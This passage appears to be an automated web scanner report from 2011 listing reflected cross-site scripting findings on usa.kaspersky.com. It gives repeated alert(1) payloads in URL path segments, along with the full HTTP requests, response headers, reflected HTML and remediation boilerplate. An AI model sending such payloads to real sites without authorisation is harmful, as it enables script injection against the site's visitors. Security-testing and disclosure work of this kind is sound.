This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the ICID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4b13"><script>alert(1)</script>d889b6155ed was submitted in the ICID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the ICID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload df090"-alert(1)-"e41734eef87 was submitted in the ICID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c637"><script>alert(1)</script>fbc1902e072 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b7bf8"-alert(1)-"fed9f393e7c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8c6d"><script>alert(1)</script>1bca9c0c0c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e5727"-alert(1)-"7f740f6e61d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26ace"><script>alert(1)</script>bec8bb4acea was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 63551"-alert(1)-"6631431a643 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a54eb"-alert(1)-"d6042cb5076 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 458a8"><script>alert(1)</script>6ec87230500 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3512c"-alert(1)-"148586c319a was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47e25"><script>alert(1)</script>540a02d78bf was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload de1b1"-alert(1)-"b94c665e0b4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72028"><script>alert(1)</script>85413005a1f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5fb10"-alert(1)-"62f5664cc26 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b936e"><script>alert(1)</script>356d95627ba was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d1997"-alert(1)-"87704505a68 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1cc0e"><script>alert(1)</script>038718c3d0 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 623f4"><script>alert(1)</script>c861ee1c24e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ac54c"-alert(1)-"de408bbf3a8 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14f39"-alert(1)-"a6b00befd51 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sites14f39"-alert(1)-"a6b00befd51/usa.kaspersky.com/files/css_injector_153.css?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:28:18 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387298" Content-Type: text/html; charset=utf-8 Content-Length: 39506 Date: Sun, 23 Oct 2011 16:28:25 GMT X-Varnish: 1652542679 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20d05"><script>alert(1)</script>acfec7ce059 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sites20d05"><script>alert(1)</script>acfec7ce059/usa.kaspersky.com/files/css_injector_153.css?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:27:31 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387251" Content-Type: text/html; charset=utf-8 Content-Length: 37546 Date: Sun, 23 Oct 2011 16:27:46 GMT X-Varnish: 1652539869 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sites20d05"><script>alert(1)</script>acfec7ce059/usa.kaspersky.com/files/css_injector_153.css?3" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d3561"-alert(1)-"21929865d5e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sites/usa.kaspersky.comd3561"-alert(1)-"21929865d5e/files/css_injector_153.css?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:30:23 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387423" Content-Type: text/html; charset=utf-8 Content-Length: 38721 Date: Sun, 23 Oct 2011 16:30:43 GMT X-Varnish: 1652549102 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b86a2"><script>alert(1)</script>e0a071fa1d7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sites/usa.kaspersky.comb86a2"><script>alert(1)</script>e0a071fa1d7/files/css_injector_153.css?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:29:53 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387393" Content-Type: text/html; charset=utf-8 Content-Length: 37522 Date: Sun, 23 Oct 2011 16:29:59 GMT X-Varnish: 1652547954 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.comb86a2"><script>alert(1)</script>e0a071fa1d7/files/css_injector_153.css?3" /> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7ab2"><script>alert(1)</script>7f0af06d8a8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sites/usa.kaspersky.com/filese7ab2"><script>alert(1)</script>7f0af06d8a8/css_injector_153.css?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:33:03 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387583" Content-Type: text/html; charset=utf-8 Content-Length: 40475 Date: Sun, 23 Oct 2011 16:33:12 GMT X-Varnish: 1652555698 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/filese7ab2"><script>alert(1)</script>7f0af06d8a8/css_injector_153.css?3" /> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a5359"-alert(1)-"cd57c50c64d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sites/usa.kaspersky.com/filesa5359"-alert(1)-"cd57c50c64d/css_injector_153.css?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:33:35 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387615" Content-Type: text/html; charset=utf-8 Content-Length: 40324 Date: Sun, 23 Oct 2011 16:33:48 GMT X-Varnish: 1652557559 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 17380"-alert(1)-"a97d3645399 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sites/usa.kaspersky.com/files/css_injector_153.css17380"-alert(1)-"a97d3645399?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:35:52 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387752" Content-Type: text/html; charset=utf-8 Content-Length: 39279 Date: Sun, 23 Oct 2011 16:35:58 GMT X-Varnish: 1652565905 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42389"><script>alert(1)</script>fe0bc3262be was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sites/usa.kaspersky.com/files/css_injector_153.css42389"><script>alert(1)</script>fe0bc3262be?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:35:29 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387729" Content-Type: text/html; charset=utf-8 Content-Length: 37876 Date: Sun, 23 Oct 2011 16:35:34 GMT X-Varnish: 1652564616 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files/css_injector_153.css42389"><script>alert(1)</script>fe0bc3262be?3" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 96bdd"-alert(1)-"6bfa7bc0a81 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sites96bdd"-alert(1)-"6bfa7bc0a81/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:29:33 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387373" Content-Type: text/html; charset=utf-8 Content-Length: 39749 Date: Sun, 23 Oct 2011 16:29:45 GMT X-Varnish: 1652547053 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 43842"><script>alert(1)</script>e1e6eab895c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sites43842"><script>alert(1)</script>e1e6eab895c/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:28:24 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387304" Content-Type: text/html; charset=utf-8 Content-Length: 37708 Date: Sun, 23 Oct 2011 16:28:36 GMT X-Varnish: 1652542990 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sites43842"><script>alert(1)</script>e1e6eab895c/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?3" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cec1c"-alert(1)-"d595b6eb599 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sites/usa.kaspersky.comcec1c"-alert(1)-"d595b6eb599/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:32:24 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387544" Content-Type: text/html; charset=utf-8 Content-Length: 38883 Date: Sun, 23 Oct 2011 16:32:58 GMT X-Varnish: 1652553972 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3361"><script>alert(1)</script>27b501de15b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sites/usa.kaspersky.coma3361"><script>alert(1)</script>27b501de15b/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:30:48 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387448" Content-Type: text/html; charset=utf-8 Content-Length: 37684 Date: Sun, 23 Oct 2011 16:31:53 GMT X-Varnish: 1652550051 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.coma3361"><script>alert(1)</script>27b501de15b/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?3" /> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d97b0"><script>alert(1)</script>8427b1bbb6c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sites/usa.kaspersky.com/filesd97b0"><script>alert(1)</script>8427b1bbb6c/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:34:10 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387650" Content-Type: text/html; charset=utf-8 Content-Length: 40718 Date: Sun, 23 Oct 2011 16:34:22 GMT X-Varnish: 1652559309 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/filesd97b0"><script>alert(1)</script>8427b1bbb6c/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?3" /> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4df6a"-alert(1)-"781c5a497bf was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sites/usa.kaspersky.com/files4df6a"-alert(1)-"781c5a497bf/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:34:44 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387684" Content-Type: text/html; charset=utf-8 Content-Length: 40567 Date: Sun, 23 Oct 2011 16:34:55 GMT X-Varnish: 1652561742 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51137"><script>alert(1)</script>f1f4ddf51ec was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
